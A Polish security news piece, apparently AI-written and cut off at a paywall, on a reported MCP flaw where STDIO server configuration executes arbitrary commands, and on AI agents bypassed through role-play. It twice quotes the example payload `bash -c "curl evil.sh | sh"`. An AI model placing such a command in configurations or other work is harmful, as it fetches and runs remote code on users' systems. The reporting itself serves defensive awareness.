Bezpieczeństwo
Dwa tygodnie po raporcie OX Security, MCP wciąż dziurawy z premedytacją
Dwa tygodnie po raporcie OX Security dziura w MCP, pozwalająca wstawić `bash -c "curl evil.sh | sh"` w konfigurację STDIO, wciąż nie jest załatana — Anthropic nazwał to zachowaniem oczekiwanym. Klasyczne kontrole, EDR, DLP czy firewall, nie widzą ruchu między agentem a danymi, a badanie 14 904 GPT-ów pokazało, że 97% pada od odgrywania roli. Skoro agentowi nie można ufać, egzekucja polityki musi zejść do warstwy dostępu do danych. Z 11 katalogów MCP dziewięć przyjęło proof-of-concept OX bez weryfikacji.
Napisała AI, żeby oszczędzić Ci czytania setek źródeł. · Jak to działa
Bezpieczeństwo · 4 min ·
Dwa tygodnie temu pisałem o tym, że OX Security wyciągnęło z MCP klasyczne RCE. Wystarczy wstawić bash -c "curl evil.sh | sh" w konfigurację serwera STDIO, a system uruchomi komendę, zanim zorientuje się, że po drugiej stronie nie ma żadnego protokołu. Anthropic odpowiedział, że to "zachowanie oczekiwane" i nie zamierza tego łatać. W praktyce: uruchamianie dowolnych komend z konfiguracji STDIO jest dla nich funkcją, nie błędem. Dwa tygodnie później protokołu nikt nie tknął. Pytanie na ten tydzień brzmi inaczej. Skoro fundament pozostaje dziurawy z premedytacją, gdzie ma usiąść kontrola?
Twoje narzędzia jej nie zobaczą
TechRepublic postawił to tak: klasyczne kontrole nie są w stanie tego ataku zobaczyć, bo nigdy nie były projektowane do widzenia ruchu między modelem a danymi. EDR widzi legalny, uwierzytelniony proces, czyli agenta AI działającego w imieniu uprawnionego użytkownika. DLP nie ma o co zaczepić, bo zapytanie do API mieści się w uprawnieniach agenta. Firewall widzi ruch, który dla każdej heurystyki wygląda jak człowiek przy klawiaturze.
Czytaj dalej za darmo
Podaj e-mail, aby odblokować pełną treść i cały serwis. Zapiszemy Cię do newslettera.
